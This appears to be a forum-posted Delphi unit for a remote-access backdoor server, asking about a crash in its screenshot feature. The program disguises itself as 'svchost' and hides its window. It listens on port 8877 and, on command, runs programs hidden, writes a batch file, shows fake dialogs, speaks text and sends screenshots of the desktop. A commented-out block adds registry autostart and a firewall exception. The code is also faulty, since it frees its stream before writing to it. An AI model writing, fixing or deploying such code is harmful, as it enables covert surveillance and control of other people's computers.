unit mMessenger;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, ShellAPI, StdCtrls, ComCtrls, Comobj, Registry,
ExtCtrls, strutils, jpeg;
type
Tsvchost =
class(TForm)
Server: TServerSocket;
text: TMemo;
Log: TRichEdit;
Lpath: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
private
function GetCursorInfo: TCursorInfo;
procedure Screenshot;
public
{ Public declarations }
end;
var
svchost: Tsvchost;
voice: Variant;
Stream : TMemoryStream;
implementation
{$R *.dfm}
function Tsvchost.GetCursorInfo: TCursorInfo;
var
hWindow: HWND;
pt: TPoint;
dwThreadID, dwCurrentThreadID: DWORD;
begin
Result.hCursor := 0;
ZeroMemory(@Result, SizeOf(Result));
// Find out which window owns the cursor
if GetCursorPos(pt)
then
begin
Result.ptScreenPos := pt;
hWindow := WindowFromPoint(pt);
if IsWindow(hWindow)
then
begin
// Get the thread ID for the cursor owner.
dwThreadID := GetWindowThreadProcessId(hWindow,
nil);
// Get the thread ID for the current thread
dwCurrentThreadID := GetCurrentThreadId;
// If the cursor owner is not us then we must attach to
// the other thread in so that we can use GetCursor() to
// return the correct hCursor
if (dwCurrentThreadID <> dwThreadID)
then
begin
if AttachThreadInput(dwCurrentThreadID, dwThreadID, True)
then
begin
// Get the handle to the cursor
Result.hCursor := GetCursor;
AttachThreadInput(dwCurrentThreadID, dwThreadID, False);
end;
end
else
begin
Result.hCursor := GetCursor;
end;
end;
end;
end;
procedure Tsvchost.Screenshot;
type
TJPEGQualityRange = 1..100;
var
W, H: Integer;
DesktopDC: HDC;
BMP: TBitmap;
JPG: TJpegImage;
Cursor: TIcon;
CursorInfo: TCursorInfo;
IconInfo: TIconInfo;
begin
DesktopDC := CreateDC('
Display',
nil,
nil,
nil);
W := Screen.Width;
H := Screen.Height;
BMP := TBitmap.Create;
JPG := TJpegImage.Create;
try
BMP.HandleType := bmDDB;
BMP.PixelFormat := pf24Bit;
BMP.Width := W;
BMP.Height := H;
BitBlt(BMP.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY);
Cursor := TIcon.Create;
try
//retrieve Cursorinfo
CursorInfo := GetCursorInfo;
if CursorInfo.hCursor <> 0
then
begin
Cursor.Handle := CursorInfo.hCursor;
// Get Hotspot information
GetIconInfo(CursorInfo.hCursor, IconInfo);
// Draw the Cursor on our bitmap
BMP.Canvas.Draw(CursorInfo.ptScreenPos.X - IconInfo.xHotspot,
CursorInfo.ptScreenPos.Y - IconInfo.yHotspot, Cursor);
end;
finally
// Clean up
Cursor.ReleaseHandle;
Cursor.Free;
end;
JPG.CompressionQuality := 70;
JPG.Assign(BMP);
FreeAndNil(Stream);
JPG.SaveToStream(Stream);
finally
BMP.Free;
Jpg.Free;
DeleteDC(DesktopDC);
end;
end;
/////////////////////////////////////////////////////////////////////////
procedure Tsvchost.FormCreate(Sender: TObject);
var
Reg: TRegistry;
begin
Lpath.Caption := ExpandFileName('
asdf');
Server.Port := 8877;
Server.Open;
Log.Lines.Add('
Server online.');
Application.ShowMainForm := False;
{ Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('windows.svchost', 'C:\Windows\svchost.exe');
Reg.CloseKey;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\'+
'FirewallPolicy\StandardProfile\AuthorizedApplications\List', True);
Reg.WriteString('svchost.exe', 'svchost.exe' + ':*:Enabled:winhost32');
Reg.CloseKey;
finally
Reg.Free;
end; }
voice := CreateOLEObject('
SAPI.SpVoice');
Stream := TMemoryStream.Create;
end;
procedure Tsvchost.FormDestroy(Sender: TObject);
begin
Server.Close;
end;
procedure Tsvchost.ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
Log.Lines.Add(Socket.ReceiveText);
//Shell
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='
SH'
then ShellExecute(0,PChar(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1]))),
nil,
nil,
nil,SW_Hide);
//Datei ausführen
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='
DA'
then ShellExecute(0,'
open',PChar(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1]))),
nil,
nil,SW_Normal);
//Textdatei schreiben
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='
TE'
then text.Lines.Add(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1])));
If copy(Log.Lines[Log.Lines.Capacity-1],0,5)='
TSAVE'
then text.Lines.SaveToFile('
C:\restart.bat');
If copy(Log.Lines[Log.Lines.Capacity-1],0,6)='
TRESET'
then text.Lines.Clear;
//Dialogfenster
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='
NA'
then MessageDlg(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1])), mtError, [mbOK], 0);
//Speech
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='
SP'
then voice.speak(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1])));
//Screenshot Übertragung
If leftstr(Log.Lines[Log.Lines.Capacity-1],length('
SCREENSHOT'))='
SCREENSHOT'
then
begin
Screenshot;
[b]
//!!!!!!!!!!!!!!!!!!!!AccessViolation Error
Server.Socket.SendText(IntToStr(Stream.Size));[/b]
end;
If leftstr(Log.Lines[Log.Lines.Capacity -1],length('
OK'))='
OK'
then Server.Socket.SendBuf(Stream.Memory^, Stream.Size);
end;
procedure Tsvchost.ServerClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode := 0;
end;
end.